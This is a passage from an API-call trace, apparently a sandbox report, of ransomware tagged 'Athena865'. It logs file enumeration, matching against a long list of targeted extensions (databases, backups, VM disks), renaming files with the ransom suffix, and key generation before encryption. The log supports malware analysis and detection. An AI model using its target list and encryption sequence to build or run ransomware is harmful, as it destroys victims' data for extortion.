(lpString="dbx") returned 3 [0146.269] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0146.269] lstrlenW (lpString="dcb") returned 3 [0146.269] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0146.269] lstrlenW (lpString="dct") returned 3 [0146.269] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0146.269] lstrlenW (lpString="dcx") returned 3 [0146.269] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0146.270] lstrlenW (lpString="ddl") returned 3 [0146.270] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0146.270] lstrlenW (lpString="dlis") returned 4 [0146.270] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0146.270] lstrlenW (lpString="dp1") returned 3 [0146.270] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0146.270] lstrlenW (lpString="dqy") returned 3 [0146.270] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0146.270] lstrlenW (lpString="dsk") returned 3 [0146.270] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0146.270] lstrlenW (lpString="dsn") returned 3 [0146.270] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0146.270] lstrlenW (lpString="dtsx") returned 4 [0146.270] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0146.270] lstrlenW (lpString="dxl") returned 3 [0146.270] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0146.270] lstrlenW (lpString="eco") returned 3 [0146.270] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0146.270] lstrlenW (lpString="ecx") returned 3 [0146.270] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0146.270] lstrlenW (lpString="edb") returned 3 [0146.270] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0146.270] lstrlenW (lpString="epim") returned 4 [0146.270] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0146.270] lstrlenW (lpString="fcd") returned 3 [0146.270] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0146.270] lstrlenW (lpString="fdb") returned 3 [0146.270] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0146.270] lstrlenW (lpString="fic") returned 3 [0146.270] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0146.270] lstrlenW (lpString="flexolibrary") returned 12 [0146.270] lstrlenW (lpString="fm5") returned 3 [0146.270] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0146.271] lstrlenW (lpString="fmp") returned 3 [0146.271] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0146.271] lstrlenW (lpString="fmp12") returned 5 [0146.271] lstrcmpiW (lpString1="L.DLL", lpString2="fmp12") returned 1 [0146.271] lstrlenW (lpString="fmpsl") returned 5 [0146.271] lstrcmpiW (lpString1="L.DLL", lpString2="fmpsl") returned 1 [0146.271] lstrlenW (lpString="fol") returned 3 [0146.271] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0146.271] lstrlenW (lpString="fp3") returned 3 [0146.271] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0146.271] lstrlenW (lpString="fp4") returned 3 [0146.271] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0146.271] lstrlenW (lpString="fp5") returned 3 [0146.271] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0146.271] lstrlenW (lpString="fp7") returned 3 [0146.271] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0146.271] lstrlenW (lpString="fpt") returned 3 [0146.271] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0146.271] lstrlenW (lpString="frm") returned 3 [0146.271] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0146.271] lstrlenW (lpString="gdb") returned 3 [0146.271] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0146.271] lstrlenW (lpString="gdb") returned 3 [0146.271] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0146.271] lstrlenW (lpString="grdb") returned 4 [0146.271] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0146.271] lstrlenW (lpString="gwi") returned 3 [0146.271] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0146.271] lstrlenW (lpString="hdb") returned 3 [0146.271] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0146.271] lstrlenW (lpString="his") returned 3 [0146.271] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0146.272] lstrlenW (lpString="ib") returned 2 [0146.272] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0146.272] lstrlenW (lpString="idb") returned 3 [0146.272] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0146.272] lstrlenW (lpString="ihx") returned 3 [0146.272] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0146.272] lstrlenW (lpString="itdb") returned 4 [0146.272] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0146.272] lstrlenW (lpString="itw") returned 3 [0146.272] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0146.272] lstrlenW (lpString="jet") returned 3 [0146.272] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0146.272] lstrlenW (lpString="jtx") returned 3 [0146.272] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0146.272] lstrlenW (lpString="kdb") returned 3 [0146.272] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0146.272] lstrlenW (lpString="kexi") returned 4 [0146.272] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0146.272] lstrlenW (lpString="kexic") returned 5 [0146.272] lstrcmpiW (lpString1="L.DLL", lpString2="kexic") returned 1 [0146.272] lstrlenW (lpString="kexis") returned 5 [0146.272] lstrcmpiW (lpString1="L.DLL", lpString2="kexis") returned 1 [0146.272] lstrlenW (lpString="lgc") returned 3 [0146.272] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0146.272] lstrlenW (lpString="lwx") returned 3 [0146.272] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0146.272] lstrlenW (lpString="maf") returned 3 [0146.272] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0146.272] lstrlenW (lpString="maq") returned 3 [0146.272] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0146.272] lstrlenW (lpString="mar") returned 3 [0146.272] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0146.272] lstrlenW (lpString="marshal") returned 7 [0146.273] lstrcmpiW (lpString1="NTL.DLL", lpString2="marshal") returned 1 [0146.273] lstrlenW (lpString="mas") returned 3 [0146.273] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0146.273] lstrlenW (lpString="mav") returned 3 [0146.273] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0146.273] lstrlenW (lpString="maw") returned 3 [0146.273] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0146.273] lstrlenW (lpString="mdbhtml") returned 7 [0146.273] lstrcmpiW (lpString1="NTL.DLL", lpString2="mdbhtml") returned 1 [0146.273] lstrlenW (lpString="mdn") returned 3 [0146.273] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0146.273] lstrlenW (lpString="mdt") returned 3 [0146.273] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0146.273] lstrlenW (lpString="mfd") returned 3 [0146.273] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0146.273] lstrlenW (lpString="mpd") returned 3 [0146.273] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0146.273] lstrlenW (lpString="mrg") returned 3 [0146.273] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0146.273] lstrlenW (lpString="mud") returned 3 [0146.273] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0146.273] lstrlenW (lpString="mwb") returned 3 [0146.273] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0146.273] lstrlenW (lpString="myd") returned 3 [0146.273] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0146.273] lstrlenW (lpString="ndf") returned 3 [0146.273] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0146.273] lstrlenW (lpString="nnt") returned 3 [0146.273] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0146.273] lstrlenW (lpString="nrmlib") returned 6 [0146.273] lstrcmpiW (lpString1="TL.DLL", lpString2="nrmlib") returned 1 [0146.273] lstrlenW (lpString="ns2") returned 3 [0146.274] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0146.274] lstrlenW (lpString="ns3") returned 3 [0146.274] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0146.274] lstrlenW (lpString="ns4") returned 3 [0146.274] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0146.274] lstrlenW (lpString="nsf") returned 3 [0146.274] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0146.274] lstrlenW (lpString="nv") returned 2 [0146.274] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0146.274] lstrlenW (lpString="nv2") returned 3 [0146.274] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0146.274] lstrlenW (lpString="nwdb") returned 4 [0146.274] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0146.274] lstrlenW (lpString="nyf") returned 3 [0146.274] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0146.274] lstrlenW (lpString="odb") returned 3 [0146.274] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0146.274] lstrlenW (lpString="odb") returned 3 [0146.274] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0146.274] lstrlenW (lpString="oqy") returned 3 [0146.274] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0146.274] lstrlenW (lpString="ora") returned 3 [0146.274] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0146.274] lstrlenW (lpString="orx") returned 3 [0146.274] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0146.274] lstrlenW (lpString="owc") returned 3 [0146.274] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0146.274] lstrlenW (lpString="p96") returned 3 [0146.274] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0146.274] lstrlenW (lpString="p97") returned 3 [0146.274] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0146.274] lstrlenW (lpString="pan") returned 3 [0146.274] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0146.275] lstrlenW (lpString="pdb") returned 3 [0146.275] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0146.275] lstrlenW (lpString="pdm") returned 3 [0146.275] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0146.275] lstrlenW (lpString="pnz") returned 3 [0146.275] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0146.275] lstrlenW (lpString="qry") returned 3 [0146.275] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0146.275] lstrlenW (lpString="qvd") returned 3 [0146.275] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0146.275] lstrlenW (lpString="rbf") returned 3 [0146.275] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0146.275] lstrlenW (lpString="rctd") returned 4 [0146.275] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0146.275] lstrlenW (lpString="rod") returned 3 [0146.275] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0146.275] lstrlenW (lpString="rodx") returned 4 [0146.275] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0146.275] lstrlenW (lpString="rpd") returned 3 [0146.275] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0146.275] lstrlenW (lpString="rsd") returned 3 [0146.275] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0146.275] lstrlenW (lpString="sas7bdat") returned 8 [0146.275] lstrcmpiW (lpString1="INTL.DLL", lpString2="sas7bdat") returned -1 [0146.275] lstrlenW (lpString="sbf") returned 3 [0146.275] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0146.275] lstrlenW (lpString="scx") returned 3 [0146.275] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0146.275] lstrlenW (lpString="sdb") returned 3 [0146.275] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0146.275] lstrlenW (lpString="sdc") returned 3 [0146.275] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0146.275] lstrlenW (lpString="sdf") returned 3 [0146.276] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0146.276] lstrlenW (lpString="sis") returned 3 [0146.276] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0146.276] lstrlenW (lpString="spq") returned 3 [0146.276] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0146.276] lstrlenW (lpString="te") returned 2 [0146.276] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0146.276] lstrlenW (lpString="teacher") returned 7 [0146.276] lstrcmpiW (lpString1="NTL.DLL", lpString2="teacher") returned -1 [0146.276] lstrlenW (lpString="tmd") returned 3 [0146.276] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0146.276] lstrlenW (lpString="tps") returned 3 [0146.276] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0146.276] lstrlenW (lpString="trc") returned 3 [0146.276] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0146.276] lstrlenW (lpString="trc") returned 3 [0146.276] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0146.276] lstrlenW (lpString="trm") returned 3 [0146.276] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0146.276] lstrlenW (lpString="udb") returned 3 [0146.276] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0146.276] lstrlenW (lpString="udl") returned 3 [0146.276] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0146.276] lstrlenW (lpString="usr") returned 3 [0146.276] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0146.276] lstrlenW (lpString="v12") returned 3 [0146.276] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0146.276] lstrlenW (lpString="vis") returned 3 [0146.276] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0146.276] lstrlenW (lpString="vpd") returned 3 [0146.276] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0146.276] lstrlenW (lpString="vvv") returned 3 [0146.277] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0146.277] lstrlenW (lpString="wdb") returned 3 [0146.277] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0146.277] lstrlenW (lpString="wmdb") returned 4 [0146.277] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0146.277] lstrlenW (lpString="wrk") returned 3 [0146.277] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0146.277] lstrlenW (lpString="xdb") returned 3 [0146.277] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0146.277] lstrlenW (lpString="xld") returned 3 [0146.277] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0146.277] lstrlenW (lpString="xmlff") returned 5 [0146.277] lstrcmpiW (lpString1="L.DLL", lpString2="xmlff") returned -1 [0146.277] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.Athena865") returned 70 [0146.277] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.athena865"), dwFlags=0x1) returned 1 [0146.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0146.281] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6982504) returned 1 [0146.281] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.282] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.282] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.282] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a8e70, lpName=0x0) returned 0x17c [0146.283] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x600000, dwNumberOfBytesToMap=0xa8e70) returned 0x2bb0000 [0146.455] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.463] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.463] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.476] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7146200, ftCreationTime.dwHighDateTime=0x1cab7cc, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7146200, ftLastWriteTime.dwHighDateTime=0x1cab7cc, nFileSizeHigh=0x0, nFileSizeLow=0x10980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUB6INTL.DLL.IDX_DLL", cAlternateFileName="PUB6IN~1.IDX")) returned 1 [0146.476] lstrcmpiW (lpString1="PUB6INTL.DLL.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.477] lstrcmpiW (lpString1="PUB6INTL.DLL.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.477] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PUB6INTL.DLL.IDX_DLL" | out: lpString1="PUB6INTL.DLL.IDX_DLL") returned="PUB6INTL.DLL.IDX_DLL" [0146.477] lstrlenW (lpString="PUB6INTL.DLL.IDX_DLL") returned 20 [0146.477] lstrlenW (lpString="Athena865") returned 9 [0146.477] lstrcmpiW (lpString1="L.IDX_DLL", lpString2="Athena865") returned 1 [0146.477] lstrlenW (lpString=".dll") returned 4 [0146.477] lstrcmpiW (lpString1="PUB6INTL.DLL.IDX_DLL", lpString2=".dll") returned 1 [0146.477] lstrlenW (lpString=".lnk") returned 4 [0146.477] lstrcmpiW (lpString1="PUB6INTL.DLL.IDX_DLL", lpString2=".lnk") returned 1 [0146.477] lstrlenW (lpString=".ini") returned 4 [0146.477] lstrcmpiW (lpString1="PUB6INTL.DLL.IDX_DLL", lpString2=".ini") returned 1 [0146.477] lstrlenW (lpString=".sys") returned 4 [0146.477] lstrcmpiW (lpString1="PUB6INTL.DLL.IDX_DLL", lpString2=".sys") returned 1 [0146.477] lstrlenW (lpString="PUB6INTL.DLL.IDX_DLL") returned 20 [0146.477] lstrlenW (lpString="bak") returned 3 [0146.477] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0146.477] lstrlenW (lpString="ba_") returned 3 [0146.477] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0146.477] lstrlenW (lpString="dbb") returned 3 [0146.477] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0146.477] lstrlenW (lpString="vmdk") returned 4 [0146.477] lstrcmpiW (lpString1="_DLL", lpString2="vmdk") returned -1 [0146.477] lstrlenW (lpString="rar") returned 3 [0146.477] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0146.477] lstrlenW (lpString="zip") returned 3 [0146.477] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0146.477] lstrlenW (lpString="tgz") returned 3 [0146.477] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0146.477] lstrlenW (lpString="vbox") returned 4 [0146.478] lstrcmpiW (lpString1="_DLL", lpString2="vbox") returned -1 [0146.478] lstrlenW (lpString="vdi") returned 3 [0146.478] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0146.478] lstrlenW (lpString="vhd") returned 3 [0146.478] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0146.478] lstrlenW (lpString="vhdx") returned 4 [0146.478] lstrcmpiW (lpString1="_DLL", lpString2="vhdx") returned -1 [0146.478] lstrlenW (lpString="avhd") returned 4 [0146.478] lstrcmpiW (lpString1="_DLL", lpString2="avhd") returned -1 [0146.478] lstrlenW (lpString="db") returned 2 [0146.478] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0146.478] lstrlenW (lpString="db2") returned 3 [0146.478] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0146.478] lstrlenW (lpString="db3") returned 3 [0146.478] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0146.478] lstrlenW (lpString="dbf") returned 3 [0146.478] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0146.478] lstrlenW (lpString="mdf") returned 3 [0146.478] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0146.478] lstrlenW (lpString="mdb") returned 3 [0146.478] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0146.478] lstrlenW (lpString="sql") returned 3 [0146.478] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0146.478] lstrlenW (lpString="sqlite") returned 6 [0146.478] lstrcmpiW (lpString1="DX_DLL", lpString2="sqlite") returned -1 [0146.478] lstrlenW (lpString="sqlite3") returned 7 [0146.478] lstrcmpiW (lpString1="IDX_DLL", lpString2="sqlite3") returned -1 [0146.478] lstrlenW (lpString="sqlitedb") returned 8 [0146.478] lstrcmpiW (lpString1=".IDX_DLL", lpString2="sqlitedb") returned -1 [0146.479] lstrlenW (lpString="xml") returned 3 [0146.479] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0146.479] lstrlenW (lpString="$er") returned 3 [0146.479] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0146.479] lstrlenW (lpString="4dd") returned 3 [0146.479] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0146.479] lstrlenW (lpString="4dl") returned 3 [0146.479] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0146.479] lstrlenW (lpString="^^^") returned 3 [0146.479] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0146.479] lstrlenW (lpString="abs") returned 3 [0146.479] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0146.479] lstrlenW (lpString="abx") returned 3 [0146.479] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0146.479] lstrlenW (lpString="accdb") returned 5 [0146.479] lstrcmpiW (lpString1="X_DLL", lpString2="accdb") returned 1 [0146.479] lstrlenW (lpString="accdc") returned 5 [0146.479] lstrcmpiW (lpString1="X_DLL", lpString2="accdc") returned 1 [0146.479] lstrlenW (lpString="accde") returned 5 [0146.479] lstrcmpiW (lpString1="X_DLL", lpString2="accde") returned 1 [0146.479] lstrlenW (lpString="accdr") returned 5 [0146.479] lstrcmpiW (lpString1="X_DLL", lpString2="accdr") returned 1 [0146.479] lstrlenW (lpString="accdt") returned 5 [0146.479] lstrcmpiW (lpString1="X_DLL", lpString2="accdt") returned 1 [0146.479] lstrlenW (lpString="accdw") returned 5 [0146.479] lstrcmpiW (lpString1="X_DLL", lpString2="accdw") returned 1 [0146.479] lstrlenW (lpString="accft") returned 5 [0146.479] lstrcmpiW (lpString1="X_DLL", lpString2="accft") returned 1 [0146.479] lstrlenW (lpString="adb") returned 3 [0146.479] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0146.480] lstrlenW (lpString="adb") returned 3 [0146.480] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0146.480] lstrlenW (lpString="ade") returned 3 [0146.480] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0146.480] lstrlenW (lpString="adf") returned 3 [0146.480] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0146.480] lstrlenW (lpString="adn") returned 3 [0146.480] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0146.480] lstrlenW (lpString="adp") returned 3 [0146.480] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0146.480] lstrlenW (lpString="alf") returned 3 [0146.480] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0146.480] lstrlenW (lpString="ask") returned 3 [0146.480] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0146.480] lstrlenW (lpString="btr") returned 3 [0146.480] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0146.480] lstrlenW (lpString="cat") returned 3 [0146.480] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0146.480] lstrlenW (lpString="cdb") returned 3 [0146.480] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0146.480] lstrlenW (lpString="ckp") returned 3 [0146.480] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0146.480] lstrlenW (lpString="cma") returned 3 [0146.480] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0146.480] lstrlenW (lpString="cpd") returned 3 [0146.480] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0146.480] lstrlenW (lpString="dacpac") returned 6 [0146.480] lstrcmpiW (lpString1="DX_DLL", lpString2="dacpac") returned 1 [0146.480] lstrlenW (lpString="dad") returned 3 [0146.480] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0146.481] lstrlenW (lpString="dadiagrams") returned 10 [0146.481] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="dadiagrams") returned 1 [0146.481] lstrlenW (lpString="daschema") returned 8 [0146.481] lstrcmpiW (lpString1=".IDX_DLL", lpString2="daschema") returned -1 [0146.481] lstrlenW (lpString="db-journal") returned 10 [0146.481] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="db-journal") returned 1 [0146.481] lstrlenW (lpString="db-shm") returned 6 [0146.481] lstrcmpiW (lpString1="DX_DLL", lpString2="db-shm") returned 1 [0146.481] lstrlenW (lpString="db-wal") returned 6 [0146.481] lstrcmpiW (lpString1="DX_DLL", lpString2="db-wal") returned 1 [0146.481] lstrlenW (lpString="dbc") returned 3 [0146.481] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0146.481] lstrlenW (lpString="dbs") returned 3 [0146.481] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0146.481] lstrlenW (lpString="dbt") returned 3 [0146.481] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0146.481] lstrlenW (lpString="dbv") returned 3 [0146.481] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0146.481] lstrlenW (lpString="dbx") returned 3 [0146.481] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0146.481] lstrlenW (lpString="dcb") returned 3 [0146.481] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0146.481] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL.Athena865") returned 78 [0146.481] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll.athena865"), dwFlags=0x1) returned 1 [0146.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0146.485] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=67968) returned 1 [0146.485] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.485] 